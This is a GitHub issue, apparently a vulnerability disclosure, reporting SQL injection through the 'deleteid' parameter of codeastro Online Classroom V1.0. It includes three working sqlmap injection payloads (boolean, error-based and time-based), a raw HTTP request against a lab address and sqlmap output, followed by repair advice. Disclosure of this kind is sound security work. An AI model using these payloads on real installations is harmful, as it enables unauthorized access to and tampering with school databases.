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New issue



codeastro Online Classroom V1.0 /OnlineClassroom/facultydetails SQL injection #22

Open



wangchaoxing opened 2 weeks ago



codeastro Online Classroom V1.0 /OnlineClassroom/facultydetails SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online Classroom

Vendor Homepage

- <https://codeastro.com/online-classroom-in-php-with-source-code/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- snife

Vulnerable File

- /OnlineClassroom/facultydetails

VERSION(S)

- V1.0

Software Link

- <https://codeastro.com/online-classroom-in-php-with-source-code/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/OnlineClassroom/facultydetails' file of the 'Online Classroom' project. The reason for this issue is that attackers inject malicious code from the parameter 'deleteid' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online Classroom", I discovered a critical SQL injection vulnerability in the "/OnlineClassroom/facultydetails" file. This vulnerability stems from insufficient user input validation of the 'deleteid' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

Vulnerability Ionameion:

- 'deleteid' parameter

Payload:

Parameter: deleteid (GET)

Type: boolean-based blind

Title: Boolean-based blind - Parameter replace (original value)

Payload: deleteid=(SELECT (CASE WHEN (3486=3486) THEN 101 ELSE (SELECT 8221 UNION SELECT

Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: deleteid=101 OR (SELECT 9295 FROM(SELECT COUNT(*),CONCAT(0x71706b7071,(SELECT (E

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: deleteid=101 AND (SELECT 2577 FROM (SELECT(SLEEP(5)))poWt)

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch
```

```
GET /OnlineClassroom/facultydetails.php?deleteid=101 HTTP/1.1
```

```
Host: 192.168.60.130
```

```
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
```

```
Referer: http://192.168.60.130/OnlineClassroom/facultydetails
```

```
Accept-Encoding: gzip, deflate, br
```

```
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
```

```
Cookie: PHPSESSID=99qv6i8ev8vsg67iu89kbm6i22
```

```
Connection: keep-alive
```

```
(root@kali)~# sqlmap -r 5.txt --batch
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's r
no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:44:18 /2026-03-19/

[11:44:18] [INFO] parsing HTTP request from '5.txt'
[11:44:18] [INFO] resuming back-end DBMS 'mysql'
[11:44:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
-----
Parameter: deleteid (GET)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: deleteid=(SELECT (CASE WHEN (3486=3486) THEN 101 ELSE (SELECT 8221 UNION SELECT 3663) END))

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: deleteid=101 OR (SELECT 9295 FROM(SELECT COUNT(*),CONCAT(0x71706b7071,(SELECT (ELT(9295=9295,1))),0x716b6a7671

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: deleteid=101 AND (SELECT 2577 FROM (SELECT(SLEEP(5)))p0wt)

[11:44:18] [INFO] the back-end DBMS is MySQL
```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

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Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

